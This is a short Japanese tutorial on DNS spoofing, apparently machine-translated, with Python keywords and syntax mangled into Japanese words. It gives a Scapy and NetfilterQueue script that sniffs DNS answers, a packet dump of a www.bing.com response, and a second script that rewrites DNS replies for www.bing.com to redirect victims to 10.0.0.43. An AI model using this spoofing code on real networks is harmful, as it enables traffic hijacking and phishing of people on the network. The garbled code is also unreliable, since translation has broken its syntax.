DNSスプーフィングとは何ですか
DNSRRパケットを盗聴し、端末上で表示されます。
#!は/ usr / binに/ envをパイソン から netfilterqueue 輸入NetfilterQueue から scapy.layers.dnsはインポートDNSRR、IP DEF :process_packet(パケット) scapy_packet = IP(packet.get_payload()) であればscapy_packet.haslayer(DNSRR): プリント(scapy_packetを.SHOW()) packet.accept() キュー = NetfilterQueue() queue.bind(0、process_packet) してみてください: queue.runを() を除いてKeyboardInterrupt: プリント('' )
次DNSRRレコードを分析します。
### [ IP ] ### バージョン = 4 IHL = 5 TOS = 0x0のが LEN = 218 ID = 0 フラグ = DFの FRAG = 0 TTL = 64 プロト = UDP CHKSUM = 0x25e8 SRC = 10.0.0.1 、DST = 10.0.0.43 \オプション\ ### [ UDP ] ### スポーツ =ドメイン DPORT = 42647 LEN = 198 CHKSUM = 0x9388 ### [ DNS ] ### 、ID = 40073 QR = 1 オペコード = QUERYの AA = 0 TC = 0 、RD = 1 、RA = 1 、Z = 0 広告 = 0 CD = 0 RCODE = OK QDCOUNT = 1 ANCOUNT = 3 NSCOUNT = 1 ARCOUNT = 0 のQD \ \ | ### [ DNS質問を録音] ### | qname = 'www.bing.com。' | QTYPE = AAAA | QCLASS = 、IN \ \ | ### [ DNSリソースレコード] ### | rrname = 'www.bing.com。' | タイプ = CNAME | RCLASS = 、IN | TTL = 2063 | rdlen = なし | RDATA = '-0001 .A-afdentry.net.trafficmanager.net'。 | ### [ DNSリソースレコード] ### | rrname = '-0001 .A-afdentry.net.trafficmanager.net'。 | タイプ = CNAME | RCLASS = 、IN | TTL = 414 | rdlen = なし | RDATA = 'cn.cn-0001 .CN-msedge.net'。 | ### [ DNSリソースレコード] ### | rrname 'cn.cn-0001 = .CN-msedge.net'。 | タイプ = CNAME | RCLASS = 、IN | TTL = 38 | rdlen = なし | RDATA = 'CN-0001 .CN-msedge.net'。 \ NS \ | ### [ DNS SOAリソースレコード] ### | rrname = 'cn-msedge.net。' | タイプ = SOA | RCLASS = 、IN | TTL = 38 | rdlen = なし | MNAME = 'ns1.cn-msedge.net。' | RNAME = 'msnhst.microsoft.com。' | シリアル = 2017032701 | リフレッシュ = 1800 | リトライ = 900 | 有効期限が切れる = 2419200 | 最小 = 240 AR =なし
DNS応答のリダイレクト
#!は/ usr / binに/ envをパイソン から netfilterqueue 輸入NetfilterQueue から scapy.layers.dns インポート * デフprocess_packet(パケット): scapy_packet = IP(packet.get_payload()) であればscapy_packet.haslayer(DNSQR): のqname = scapy_packet [DNSQRを] .qname もし" www.bing.com " で qname.decode(誤差= ' 無視' ): プリント(" [+]スプーフィングターゲット" ) の回答を = DNSRR(rrname = QNameで、RDATA = " 10.0.0.43 " ) scapy_packet [DNS]に.An = 回答 scapy_packet [DNS] .ancount = 1 デルscapy_packet [IP] .LEN デルscapy_packet [IP] .chksum デルscapy_packet [UDP] .chksum デルscapy_packet [UDP] .LEN packet.set_payload(STR(scapy_packet).encode()) packet.accept() キュー = NetfilterQueue() queue.bind(0、process_packet)試す: queue.runを()以外KeyboardInterrupt。 印刷( '' )